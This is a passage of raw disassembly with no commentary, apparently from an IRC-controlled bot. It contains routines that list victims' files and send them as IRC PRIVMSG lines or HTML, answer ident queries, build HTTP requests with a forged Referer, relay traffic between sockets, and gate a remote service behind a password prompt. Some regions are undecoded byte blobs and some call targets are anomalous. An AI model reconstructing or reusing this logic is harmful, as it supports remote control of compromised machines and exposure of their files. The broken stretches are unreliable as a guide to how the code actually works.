COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi call near ptr 25C0000h nop lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2760000h test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2750000h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 2740831h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4293F4 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h call near ptr 2670000h nop loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 2760000h test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] nop call near ptr 2740000h cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 26F08DDh mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx nop call near ptr 2730C3Eh cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:00437A68o ; ___:00437A7Co jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call near ptr 2770000h nop lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 26F0000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CAF38 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx call near ptr 26508EFh nop loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CAF14 push 6 push 1 push 2 call dword_4CB024 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CAFA4 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CAF4C cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D158 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CAFF4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CAFBC pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB03C call dword_4CAEFC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CAFA4 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CB024 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43DEEC[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CAFD0 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CAFCC cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB038 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB030 push eax lea eax, [ebp-238h] push offset dword_433FCC push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CAFBC cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CAF38 push eax lea eax, [ebp-238h] push offset dword_433F88 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB03C push dword ptr [ebp-4] call dword_4CB03C push dword ptr [ebp+8] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CAFA4 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CB024 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43DEEC[ecx], eax call dword_4CAEB4 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CAFD0 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CAFCC test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB038 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB030 push eax lea eax, [ebp-350h] push offset unk_434034 push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43DEE4[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi nop ; --------------------------------------------------------------------------- dw 0C1E8h dd 8B0225FBh, 0C969C44Dh, 234h, 8189C63Bh, 43DEF4h, 75391374h dd 63850FD0h, 6AFFFFFFh, 1E89032h, 0EB0225FBh, 0DE890EDh dd 50022604h, 433FF868h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB03C push dword ptr [ebp+8] call dword_4CB03C push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CB024 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CAFA4 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CAFE4 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CB028 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CAF5C loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CAF4C cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB030 push eax lea eax, [ebp-344h] push offset unk_4340BC push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43DEEC[ebx] mov dword_43DEE4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43DEF0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi call near ptr 267009Ch nop mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43DEF4[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h nop call near ptr 2670000h jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CAFBC cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j nop call near ptr 2670914h push eax push offset unk_43407C call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43DEEC[eax] call dword_4CB03C push dword ptr [ebp+8] call dword_4CB03C push dword ptr [ebp-4] call sub_40B412 pop ecx push edi call near ptr 26D0000h nop pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43DEF0[esi] call dword_4CAFBC test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43DEEC[esi] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43DEF0[esi] call dword_4CB03C push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 ; --------------------------------------------------------------------------- db 0E8h dd 22BF844h db 90h ; --------------------------------------------------------------------------- pop edi pop esi push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43DEEC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CAF8C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB03C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CAFBC lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CAEF8 test eax, eax jz short loc_4108BC call dword_4CAF38 push eax push offset unk_434194 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi nop call near ptr 26D0000h loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CAF5C cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB030 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D158 push dword ptr [esi] call dword_4CAFF4 cmp dword_4CDD08, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CAFF4 push dword ptr [esi] call dword_4CB03C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi call near ptr 26D0000h nop loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434158 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D nop call near ptr 2670914h push eax push offset unk_43412C call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx nop call near ptr 26D0000h loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434100 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi nop call near ptr 26D0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAFBC cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAFBC cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_4341C0 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4341EC call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 1415FF00h, 33004CAFh, 74C63BF6h, 5C68501Dh, 0E8004343h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h dd 6857022Bh, 410CCBh, 0AFE890h, 0C0850236h, 59E82975h dd 900225FEh, 43186850h, 59E80043h, 59000047h, 0FC15FF59h dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h, 53022BF5h dd 